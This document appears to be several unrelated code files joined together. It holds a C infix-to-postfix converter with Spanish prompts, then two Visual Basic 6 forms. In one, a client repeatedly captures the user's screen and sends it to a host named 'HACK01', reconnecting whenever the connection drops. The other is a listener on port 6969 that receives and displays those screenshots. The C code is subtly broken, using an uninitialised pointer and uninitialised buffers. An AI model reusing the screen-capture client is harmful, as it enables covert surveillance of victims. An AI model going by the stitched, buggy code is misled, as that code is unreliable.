#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int push(char *pila, char **tope, int n, char dato)
{
	if(pila+n==*tope)
		return 1;
	else 
	{
		**tope = dato;
		(*tope)++;
		return 0;		
	}
}

int pop(char *pila, char **tope, char *dato)
{
	if(pila==*tope)
		return 1;
	else
	{
		(*tope)--;
		*dato= **tope;
		return 0;	
	}
}

int tipoparentesis(char valor)
{
	switch (valor)
	{
		case '(' : return 1;
		case ')' : return 1;
		case '[' : return 2;
		case ']' : return 2;
		case '{' : return 3;
		case '}' : return 3;
		default: return 0;
	}
}
int presedencia(char dato, char valor)
{
	int x, y, as;
	switch (dato)
	{
		case '+' : x=4; as=1; break;
		case '-' : x=4; as=1; break;
		case '*' : x=3; as=1; break;
		case '/' : x=3; as=1; break;
		case '^' : x=2; as=2; break;
		default: x=0;
	}
	switch (valor)
	{
		case '+' : y=4; break;
		case '-' : y=4; break;
		case '*' : y=3; break;
		case '/' : y=3; break;
		case '^' : y=2; break;
	}
	if( (x <= y && as==1) || (x >= y && as==2) )
	{
		return 1;
	} else {
		return 0;
	}
	
}
 

main()
{
	char entrada[50], salida[50],temporal[2];
	char *pila, *tope, *dato, val;
	int i, tam, tam1;
	pila = (char *)malloc(sizeof(char)*50);
	tope = pila;
	printf("Dame tu cadena en infija\n");
	scanf("%s",entrada);
	tam = strlen(entrada);
	for(i=0; i<tam; i++)
	{
		val = entrada[i];
		if (val == '+' || val == '-' || val == '*' || val == '/' || val == '^')
		{
			nuevo:
			if((pop(pila,&tope,dato))== 0)
			{
		            	if (presedencia(*dato,val) == 1)
				{
					temporal[0]=*dato;
					strcat(salida,temporal);
					goto nuevo;
				} else {
					push(pila,&tope,12,*dato);
					push(pila,&tope,12,val);
				}
			} else {
				push(pila,&tope,12,val);
			}
				
		} else if(val == '(' || val == '[' || val == '{') 
		{
			push(pila,&tope,tam,val);
		}
			
		else if ((val == ')') || (val == ']') || (val == '}'))
		{
			again:	
			if(tipoparentesis(val) != tipoparentesis(*dato)) 
				goto error;
				
			if((pop(pila,&tope,dato)) != 0)
				goto error;
				
			if( (*dato == '(' && val == ')') || (*dato == '[' && val == ']') || (*dato == '{' && val == '}') )
			{				
			} else {
				temporal[0]=val;
				strcat(salida,temporal);
				goto again;
			}
		} else {
			temporal[0]= val;
			strcat(salida,temporal);	
		}
	}
	while(*tope != *pila)
	{
		if((pop(pila,&tope,dato)) == 0)
		{
			if( *dato == '(' || *dato == '[' || *dato == '{')
			goto error;
			
			temporal[0]=*dato;
			strcat(salida,temporal);
		}	
	}
	printf("Tu cadena en postfija es:");
	printf("%s\n",salida);
	system("pause");
	return 0;
	error:
	printf("Tu ecuación está mal formada");
	return 1;
}

Dim WithEvents WS1 As CSocketMaster
Dim Imagen() As Byte
Dim Flag As Boolean
Dim Tamaño As Long
Dim lBytes As Long

Private Sub Command1_Click()
    
    WS1.CloseSck
    WS1.Listen
    
End Sub

Private Sub Form_Load()

    Set WS1 = New CSocketMaster
    WS1.LocalPort = 6969
    WS1.CloseSck
    WS1.Listen
    
End Sub

Private Sub Timer1_Timer()
    Label1.Caption = WS1.State
End Sub

Private Sub WS1_ConnectionRequest(ByVal requestID As Long)
    
    WS1.CloseSck
    WS1.Accept requestID
    
End Sub

Private Sub WS1_DataArrival(ByVal bytesTotal As Long)

    If Flag = False Then
        WS1.GetData datos, vbLong
        Tamaño = datos
        Open "C:\Captura.jpg" For Binary Access Write As #1
        Flag = True
    End If
    
    If Flag Then
        lBytes = lBytes + bytesTotal
        Label2.Caption = lBytes
        WS1.GetData Imagen
        Put #1, , Imagen
        If lBytes >= Tamaño Then
            Close #1
            Flag = False
            Image1.Picture = LoadPicture("C:\Captura.jpg")
            lBytes = 0
        End If
    End If
    
End Sub

Dim WithEvents WS1 As CSocketMaster
Dim Imagen() As Byte
Private Sub Form_Load()
    
    Set WS1 = New CSocketMaster
    WS1.RemoteHost = "HACK01"
    WS1.RemotePort = 6969
    WS1.CloseSck
    WS1.Connect
    
End Sub

Private Sub Timer1_Timer()
    Label1.Caption = WS1.State
End Sub

Private Sub Timer2_Timer()
    
    Set Picture1.Picture = CaptureScreen()
    SavePicture Picture1.Picture, App.Path & "\TmpBmp.bmp"
    BMPtoJPG App.Path & "\TmpBmp.bmp", App.Path & "\TmpPic.jpg"
    
    If WS1.State = sckConnected Then
        Enviar_Imagen
    End If
    
End Sub

Private Sub WS1_CloseSck()
    
    WS1.CloseSck
    WS1.Connect
    
End Sub

Private Function Enviar_Imagen()
    
    WS1.SendData FileLen(App.Path & "\TmpPic.jpg")
    Open App.Path & "\TmpPic.jpg" For Binary Access Read As #1
    Get #1, , Imagen
    Close #1
    WS1.SendData Imagen

    
End Function

Private Sub Form_Load()
If App.PrevInstance = True Then
MsgBox "ya abierto"
End
End If
End Sub